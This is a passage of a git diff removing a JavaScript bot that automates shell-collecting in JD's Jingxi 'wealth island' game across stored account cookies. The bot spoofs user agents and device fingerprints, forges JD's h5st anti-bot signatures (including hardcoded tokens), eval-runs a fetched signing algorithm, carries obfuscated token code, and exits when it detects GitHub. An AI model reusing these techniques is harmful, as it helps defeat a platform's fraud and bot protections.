e.RabbitLegacy = n._createHelper(h) }(), t.pad.ZeroPadding = { pad: function (t, r) { var e = 4 * r; t.clamp(), t.sigBytes += e - (t.sigBytes % e || e) }, unpad: function (t) { for (var r = t.words, e = t.sigBytes - 1; !(r[e >>> 2] >>> 24 - e % 4 * 8 & 255);)e--; t.sigBytes = e + 1 } }, t -}); -const $ = new Env("京喜财富岛热气球"); -const JD_API_HOST = "https://m.jingxi.com/"; -const notify = $.isNode() ? require('./sendNotify') : ''; -const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; -$.showLog = $.getdata("cfd_showLog") ? $.getdata("cfd_showLog") === "true" : false; -$.notifyTime = $.getdata("cfd_notifyTime"); -$.result = []; -$.shareCodes = []; -let cookiesArr = [], cookie = '', token = '', UA, UAInfo = {}; -$.appId = "92a36"; -$.hot = {} -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; - if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0); -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - let count = 0 - $.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; - await requestAlgo(); - await $.wait(1000) - do { - count++ - console.log(`\n============开始第${count}次挂机=============`) - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); - $.index = i + 1; - $.nickName = ''; - $.isLogin = true; - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - $.info = {} - if (count === 1) { - UA = `jdpingou;iPhone;4.13.0;14.4.2;${randomString(40)};network/wifi;model/iPhone10,2;appBuild/100609;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` - UAInfo[$.UserName] = UA - $.hot[$.UserName] = false - } else { - UA = UAInfo[$.UserName] - } - // token = await getJxToken() - if ($.hot[$.UserName]) { - console.log(`操作过于频繁,跳过运行`) - continue - } - await cfd(); - let time = process.env.CFD_LOOP_SLEEPTIME ? (process.env.CFD_LOOP_SLEEPTIME * 1 > 1000 ? process.env.CFD_LOOP_SLEEPTIME : process.env.CFD_LOOP_SLEEPTIME * 1000) : 5000 - await $.wait(time) - } - } - } while (count < (process.env.CFD_LOOP_LIMIT || 1)*1) -})() - .catch((e) => $.logErr(e)) - .finally(() => $.done()); - -async function cfd() { - try { - await queryshell() - } catch (e) { - $.logErr(e) - } -} - -// 卖贝壳 -async function querystorageroom() { - return new Promise(async (resolve) => { - $.get(taskUrl(`story/querystorageroom`), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} querystorageroom API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); - console.log(`\n卖贝壳`) - let bags = [] - for (let key of Object.keys(data.Data.Office)) { - let vo = data.Data.Office[key] - bags.push(vo.dwType) - bags.push(vo.dwCount) - } - if (bags.length !== 0) { - let strTypeCnt = '' - for (let j = 0; j < bags.length; j++) { - if (j % 2 === 0) { - strTypeCnt += `${bags[j]}:` - } else { - strTypeCnt += `${bags[j]}|` - } - } - await $.wait(3000) - await sellgoods(`strTypeCnt=${strTypeCnt}&dwSceneId=1`) - } else { - console.log(`背包是空的,快去捡贝壳吧\n`) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} -function sellgoods(body) { - return new Promise((resolve) => { - $.get(taskUrl(`story/sellgoods`, body), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} sellgoods API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); - if (data.iRet === 0) { - console.log(`贝壳出售成功:获得${data.Data.ddwCoin}金币 ${data.Data.ddwMoney}财富\n`) - } else { - console.log(`贝壳出售失败:${data.sErrMsg}\n`) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} - -// 捡贝壳 -async function queryshell() { - return new Promise(async (resolve) => { - $.get(taskUrl(`story/queryshell`), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} queryshell API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); - $.canpick = true; - if (data.iRet === 0) { - for (let key of Object.keys(data.Data.NormShell)) { - let vo = data.Data.NormShell[key] - for (let j = 0; j < vo.dwNum && $.canpick; j++) { - await pickshell(`dwType=${vo.dwType}`) - await $.wait(3000) - } - if (!$.canpick) break - } - console.log('') - } else { - console.log(data.sErrMsg) - $.hot[$.UserName] = true - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} -async function pickshell(body) { - return new Promise(async (resolve) => { - $.get(taskUrl(`story/pickshell`, body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} pickshell API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); - let dwName - switch (data.Data.strFirstDesc) { - case '亲爱的岛主~♥七夕快乐鸭♥': - dwName = '爱心珍珠' - break - case '捡到珍珠了,看起来很贵的样子': - dwName = '小珍珠' - break - case '捡到小海螺了,做成项链一定很漂亮': - dwName = '小海螺' - break - case '把我放在耳边,就能听到大海的声音了~': - dwName = '大海螺' - break - case '只要诚心祈祷,愿望就会实现哦~': - dwName = '海星' - break - case '阳光下的小贝壳会像宝石一样,散发耀眼的光芒': - dwName = '小贝壳' - break - case '啊~我可不想被清蒸加蒜蓉': - dwName = '扇贝' - break - default: - break - } - if (data.iRet === 0) { - console.log(`捡贝壳成功:捡到了${dwName}`) - } else if (data.iRet === 5403 || data.sErrMsg === '这种小贝壳背包放不下啦,先去卖掉一些吧~') { - console.log(`捡贝壳失败:${data.sErrMsg}`) - await $.wait(3000) - await querystorageroom() - } else { - $.canpick = false; - console.log(`捡贝壳失败:${data.sErrMsg}`) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} - -function taskUrl(function_path, body = '', dwEnv = 7) { - let url = `${JD_API_HOST}jxbfd/${function_path}?strZone=jxbfd&bizCode=jxbfd&source=jxbfd&dwEnv=${dwEnv}&_cfd_t=${Date.now()}&ptag=7155.9.47${body ? `&${body}` : ''}`; - url += `&_stk=${getStk(url)}`; - url += `&_ste=1&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; - return { - url, - headers: { - "Host": "m.jingxi.com", - "Accept": "*/*", - "Accept-Encoding": "gzip, deflate, br", - "User-Agent": UA, - "Accept-Language": "zh-CN,zh-Hans;q=0.9", - "Referer": "https://st.jingxi.com/", - "Cookie": cookie + "cid=4" - } - }; -} -function getStk(url) { - let arr = url.split('&').map(x => x.replace(/.*\?/, "").replace(/=.*/, "")) - return encodeURIComponent(arr.filter(x => x).sort().join(',')) -} -function randomString(e) { - e = e || 32; - let t = "0123456789abcdef", a = t.length, n = ""; - for (let i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -/* -修改时间戳转换函数,京喜工厂原版修改 - */ -Date.prototype.Format = function (fmt) { - var e, - n = this, d = fmt, l = { - "M+": n.getMonth() + 1, - "d+": n.getDate(), - "D+": n.getDate(), - "h+": n.getHours(), - "H+": n.getHours(), - "m+": n.getMinutes(), - "s+": n.getSeconds(), - "w+": n.getDay(), - "q+": Math.floor((n.getMonth() + 3) / 3), - "S+": n.getMilliseconds() - }; - /(y+)/i.test(d) && (d = d.replace(RegExp.$1, "".concat(n.getFullYear()).substr(4 - RegExp.$1.length))); - for (var k in l) { - if (new RegExp("(".concat(k, ")")).test(d)) { - var t, a = "S+" === k ? "000" : "00"; - d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[k] : ("".concat(a) + l[k]).substr("".concat(l[k]).length)) - } - } - return d; -} - -async function requestAlgo() { - $.fingerprint = await generateFp(); - const options = { - "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, - "headers": { - 'Authority': 'cactus.jd.com', - 'Pragma': 'no-cache', - 'Cache-Control': 'no-cache', - 'Accept': 'application/json', - 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', - 'Content-Type': 'application/json', - 'Origin': 'https://st.jingxi.com', - 'Sec-Fetch-Site': 'cross-site', - 'Sec-Fetch-Mode': 'cors', - 'Sec-Fetch-Dest': 'empty', - 'Referer': 'https://st.jingxi.com/', - 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' - }, - 'body': JSON.stringify({ - "version": "3.0", - "fp": $.fingerprint, - "appId": $.appId.toString(), - "timestamp": Date.now(), - "platform": "web", - "expandParams": "" - }) - } - return new Promise(async resolve => { - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`request_algo 签名参数API请求失败,请检查网路重试`) - } else { - if (data) { - // console.log(data); - data = JSON.parse(data); - if (data['status'] === 200) { - $.token = data.data.result.tk; - let enCryptMethodJDString = data.data.result.algo; - if (enCryptMethodJDString) $.enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)(); - // console.log(`获取签名参数成功!`) - // console.log(`fp: ${$.fingerprint}`) - // console.log(`token: ${$.token}`) - // console.log(`enCryptMethodJD: ${enCryptMethodJDString}`) - } else { - // console.log(`fp: ${$.fingerprint}`) - console.log('request_algo 签名参数API请求失败') - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function decrypt(time, stk, type, url) { - stk = stk || (url ? getUrlData(url, '_stk') : '') - if (stk) { - const timestamp = new Date(time).Format("yyyyMMddhhmmssSSS"); - let hash1 = ''; - if ($.fingerprint && $.token && $.enCryptMethodJD) { - hash1 = $.enCryptMethodJD($.token, $.fingerprint.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex); - } else { - const random = '5gkjB6SpmC9s'; - $.token = `tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc`; - $.fingerprint = 5287160221454703; - const str = `${$.token}${$.fingerprint}${timestamp}${$.appId}${random}`; - hash1 = $.CryptoJS.SHA512(str, $.token).toString($.CryptoJS.enc.Hex); - } - let st = ''; - stk.split(',').map((item, index) => { - st += `${item}:${getUrlData(url, item)}${index === stk.split(',').length -1 ? '' : '&'}`; - }) - const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex); - // console.log(`\nst:${st}`) - // console.log(`h5st:${["".concat(timestamp.toString()), "".concat(fingerprint.toString()), "".concat($.appId.toString()), "".concat(token), "".concat(hash2)].join(";")}\n`) - return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2), "".concat("3.0"), "".concat(time)].join(";")) - } else { - return '20210318144213808;8277529360925161;10001;tk01w952a1b73a8nU0luMGtBanZTHCgj0KFVwDa4n5pJ95T/5bxO/m54p4MtgVEwKNev1u/BUjrpWAUMZPW0Kz2RWP8v;86054c036fe3bf0991bd9a9da1a8d44dd130c6508602215e50bb1e385326779d' - } -} - -/** - * 获取url参数值 - * @param url - * @param name - * @returns {string} - */ -function getUrlData(url, name) { - if (typeof URL !== "undefined") { - let urls = new URL(url); - let data = urls.searchParams.get(name); - return data ? data : ''; - } else { - const query = url.match(/\?.*/)[0].substring(1) - const vars = query.split('&') - for (let i = 0; i < vars.length; i++) { - const pair = vars[i].split('=') - if (pair[0] === name) { - // return pair[1]; - return vars[i].substr(vars[i].indexOf('=') + 1); - } - } - return '' - } -} -/** - * 模拟生成 fingerprint - * @returns {string} - */ -function generateFp() { - let e = "0123456789"; - let a = 13; - let i = ''; - for (; a--; ) - i += e[Math.random() * e.length | 0]; - return (i + Date.now()).slice(0,16) -} -var _0xod8='jsjiami.com.v6',_0x2cf9=[_0xod8,'SsOTGQU0','w5fDtsOZw7rDhnHDpgo=','w47DoV4CZsK7w6bDtAkyJsOJexNawqZnw6FTe0dQw63DlHlvGMKBw4rDs8OYwoEWD0ML','VRFwZ8KG','H2jCkCrDjw==','bMO0Nigr','w5fDlkwEZg==','w6DCkUbDjWMz','wrYhHTQR','w5vDrG4SccK0w6/Duw==','w6HClVzDiX8=','5q2P6La95Y6CEiDCkMOgwrcr5aOj5Yes5LqV6Kai6I6aauS/jeebg1YLw5RSGy7Cm3M9QuWSlOmdsuazmOWKleWPs0PDkcOgPg==','WjsjIieSanSTdXmiuZb.EncDom.v6=='];(function(_0x30e78a,_0x12a1c3,_0x4ca71c){var _0x40a26e=function(_0x59c439,_0x435a06,_0x70e6be,_0x39d363,_0x31edda){_0x435a06=_0x435a06>>0x8,_0x31edda='po';var _0x255309='shift',_0x4aba1a='push';if(_0x435a06<_0x59c439){while(--_0x59c439){_0x39d363=_0x30e78a[_0x255309]();if(_0x435a06===_0x59c439){_0x435a06=_0x39d363;_0x70e6be=_0x30e78a[_0x31edda+'p']();}else if(_0x435a06&&_0x70e6be['replace'](/[WIeSnSTdXuZbEnD=]/g,'')===_0x435a06){_0x30e78a[_0x4aba1a](_0x39d363);}}_0x30e78a[_0x4aba1a](_0x30e78a[_0x255309]());}return 0x8dbb4;};return _0x40a26e(++_0x12a1c3,_0x4ca71c)>>_0x12a1c3^_0x4ca71c;}(_0x2cf9,0x6e,0x6e00));var _0x5108=function(_0x4dc255,_0x3cb8bc){_0x4dc255=~~'0x'['concat'](_0x4dc255);var _0x2e664b=_0x2cf9[_0x4dc255];if(_0x5108['xFLNEr']===undefined){(function(){var _0xfc2aa4=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x26458d='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0xfc2aa4['atob']||(_0xfc2aa4['atob']=function(_0x509ed4){var _0x2e5ed8=String(_0x509ed4)['replace'](/=+$/,'');for(var _0x5f2c3c=0x0,_0x5a7e73,_0x42fadc,_0x50b6c7=0x0,_0x2de292='';_0x42fadc=_0x2e5ed8['charAt'](_0x50b6c7++);~_0x42fadc&&(_0x5a7e73=_0x5f2c3c%0x4?_0x5a7e73*0x40+_0x42fadc:_0x42fadc,_0x5f2c3c++%0x4)?_0x2de292+=String['fromCharCode'](0xff&_0x5a7e73>>(-0x2*_0x5f2c3c&0x6)):0x0){_0x42fadc=_0x26458d['indexOf'](_0x42fadc);}return _0x2de292;});}());var _0x503f7f=function(_0x517424,_0x3cb8bc){var _0x5bb1d7=[],_0x204abf=0x0,_0x50c70e,_0x376d53='',_0x19ba11='';_0x517424=atob(_0x517424);for(var _0x2212a4=0x0,_0x34e1ad=_0x517424['length'];_0x2212a4<_0x34e1ad;_0x2212a4++){_0x19ba11+='%'+('00'+_0x517424['charCodeAt'](_0x2212a4)['toString'](0x10))['slice'](-0x2);}_0x517424=decodeURIComponent(_0x19ba11);for(var _0x5372ab=0x0;_0x5372ab<0x100;_0x5372ab++){_0x5bb1d7[_0x5372ab]=_0x5372ab;}for(_0x5372ab=0x0;_0x5372ab<0x100;_0x5372ab++){_0x204abf=(_0x204abf+_0x5bb1d7[_0x5372ab]+_0x3cb8bc['charCodeAt'](_0x5372ab%_0x3cb8bc['length']))%0x100;_0x50c70e=_0x5bb1d7[_0x5372ab];_0x5bb1d7[_0x5372ab]=_0x5bb1d7[_0x204abf];_0x5bb1d7[_0x204abf]=_0x50c70e;}_0x5372ab=0x0;_0x204abf=0x0;for(var _0x30875f=0x0;_0x30875f<_0x517424['length'];_0x30875f++){_0x5372ab=(_0x5372ab+0x1)%0x100;_0x204abf=(_0x204abf+_0x5bb1d7[_0x5372ab])%0x100;_0x50c70e=_0x5bb1d7[_0x5372ab];_0x5bb1d7[_0x5372ab]=_0x5bb1d7[_0x204abf];_0x5bb1d7[_0x204abf]=_0x50c70e;_0x376d53+=String['fromCharCode'](_0x517424['charCodeAt'](_0x30875f)^_0x5bb1d7[(_0x5bb1d7[_0x5372ab]+_0x5bb1d7[_0x204abf])%0x100]);}return _0x376d53;};_0x5108['NgRmMn']=_0x503f7f;_0x5108['CiKmfm']={};_0x5108['xFLNEr']=!![];}var _0x15f777=_0x5108['CiKmfm'][_0x4dc255];if(_0x15f777===undefined){if(_0x5108['GhDaFS']===undefined){_0x5108['GhDaFS']=!![];}_0x2e664b=_0x5108['NgRmMn'](_0x2e664b,_0x3cb8bc);_0x5108['CiKmfm'][_0x4dc255]=_0x2e664b;}else{_0x2e664b=_0x15f777;}return _0x2e664b;};function getJxToken(){var _0x3565bd={'AShns':_0x5108('0','U*Pv'),'ehytr':function(_0x50bf17,_0x53078a){return _0x50bf17<_0x53078a;},'GoCYd':function(_0x136745,_0x5686db){return _0x136745(_0x5686db);},'xUqbe':function(_0x1ea9c8,_0x5b6c4e){return _0x1ea9c8*_0x5b6c4e;}};function _0x23cb77(_0x378208){let _0x36ad34=_0x3565bd[_0x5108('1','cqej')];let _0x3ba0b7='';for(let _0x24b162=0x0;_0x3565bd[_0x5108('2','1#C#')](_0x24b162,_0x378208);_0x24b162++){_0x3ba0b7+=_0x36ad34[_0x3565bd[_0x5108('3','Hq%O')](parseInt,_0x3565bd[_0x5108('4','U*Pv')](Math['random'](),_0x36ad34[_0x5108('5','8QnT')]))];}return _0x3ba0b7;}return new Promise(_0x2ef875=>{let _0x9ac908=_0x3565bd[_0x5108('6','x)1A')](_0x23cb77,0x28);let _0x256650=(+new Date())[_0x5108('7','U*Pv')]();if(!cookie[_0x5108('8','8QnT')](/pt_pin=([^; ]+)(?=;?)/)){console['log'](_0x5108('9','Hq%O'));_0x3565bd['GoCYd'](_0x2ef875,null);}let _0x4e1006=cookie[_0x5108('a','8#od')](/pt_pin=([^; ]+)(?=;?)/)[0x1];let _0x57bff6=$['md5'](''+decodeURIComponent(_0x4e1006)+_0x256650+_0x9ac908+'tPOamqCuk9NLgVPAljUyIHcPRmKlVxDy')[_0x5108('b',']OsH')]();_0x3565bd['GoCYd'](_0x2ef875,{'timestamp':_0x256650,'phoneid':_0x9ac908,'farm_jstoken':_0x57bff6});});};_0xod8='jsjiami.com.v6'; -!function(n){"use strict";function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e>5]>>>t%32&255);return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t>5]|=(255&n.charCodeAt(t/8))<16&&(o=i(o,8*n.length)),r=0;r<16;r+=1)u[r]=909522486^o[r],c[r]=1549556828^o[r];return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r>>4&15)+"0123456789abcdef".charAt(15&t);return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}$.md5=A}(this); -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_sign_graphics.js b/jd_sign_graphics.js index f341aa6e7..7489aa8fb 100644 --- 